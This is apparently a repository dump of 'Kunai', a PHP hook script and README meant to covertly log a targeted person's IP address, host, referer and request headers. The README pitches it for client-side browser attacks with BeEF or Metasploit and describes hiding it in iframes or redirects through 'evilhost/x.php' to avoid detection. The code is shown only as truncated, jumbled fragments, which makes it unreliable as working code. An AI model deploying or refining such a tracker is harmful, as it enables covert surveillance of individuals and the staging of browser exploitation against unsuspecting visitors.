Info
'. 99 | 'IP - '.$ip.''. 100 | '
Host - '.$host. 101 | '
Referer - '.$ref. 102 | '
Javascript not enabled!'. 103 | '
├── README.md └── kunai.php /README.md: -------------------------------------------------------------------------------- 1 | #Kunai 0.2 2 | Sometimes there is a need to obtain ip address of specific person or perform client-side attacks via user browser. This is what you need in such situations. 3 | 4 | Kunai is a simple script which collects many informations about a visitor and saves output to file; furthermore, you may try to perform attacks on user browser, using beef or metasploit. 5 | 6 | In order to grab as many informations as possible, script detects whenever javascript is enabled to obtain more details about a visitor. For example, you can include this script in iframe, or perform redirects, to avoid detection of suspicious activities. Script can notify you via email about user that visit your script. Whenever someone will visit your hook (kunai), output fille will be updated. 7 | 8 | #Functions 9 | - Stores informations about users in elegant output 10 | - Website spoofing 11 | - Redirects 12 | - BeEF & Metasploit compatibility 13 | - Email notification 14 | - Diffrent reaction for javascript disabled browser 15 | - One file composition 16 | 17 | #Example configs 18 | - Website spoofing (more stable & better for autopwn & beef): 19 | - Redirect (better for quick ip catching): 20 | ``` 21 | goo.gl/urlink -> evilhost/x.php -> site.com/kitty.png 22 | ``` 23 | - Cross Site Scripting (inclusion) 24 | 25 | #Screens 26 | - http://i.imgur.com/cScbarL.png 27 | - http://i.imgur.com/WOM3uyi.png 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /kunai.php: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 | '. 66 | ''. 67 | ''; 68 | fwrite($fp, $style); 69 | fclose($fp); 70 | } 71 | 72 | function notify() { 73 | 74 | $headers = "MIME-Version: 1.0\n" ; 75 | $headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\n"; 76 | $headers .= "X-Priority: 1 (Highest)\n"; 77 | $headers .= "X-MSMail-Priority: High\n"; 78 | $headers .= "Importance: High\n"; 79 | 80 | mail(notify_address, 'Sup?', 'IP logged - '.$_SERVER['REMOTE_ADDR'], $headers); 81 | 82 | } 83 | 84 | function nojs() { 85 | 86 | $ip = $_SERVER['REMOTE_ADDR']; 87 | $host = gethostbyaddr($ip); 88 | 89 | if(!isset($_SERVER['HTTP_REFERER'])) { $ref = 'None'; } else { $ref = htmlspecialchars($_SERVER['HTTP_REFERER']); } 90 | if(function_exists('getallheaders')) { 91 | foreach(getallheaders() as $header => $info) { 92 | $req .= htmlspecialchars($header).' - '.htmlspecialchars($info).'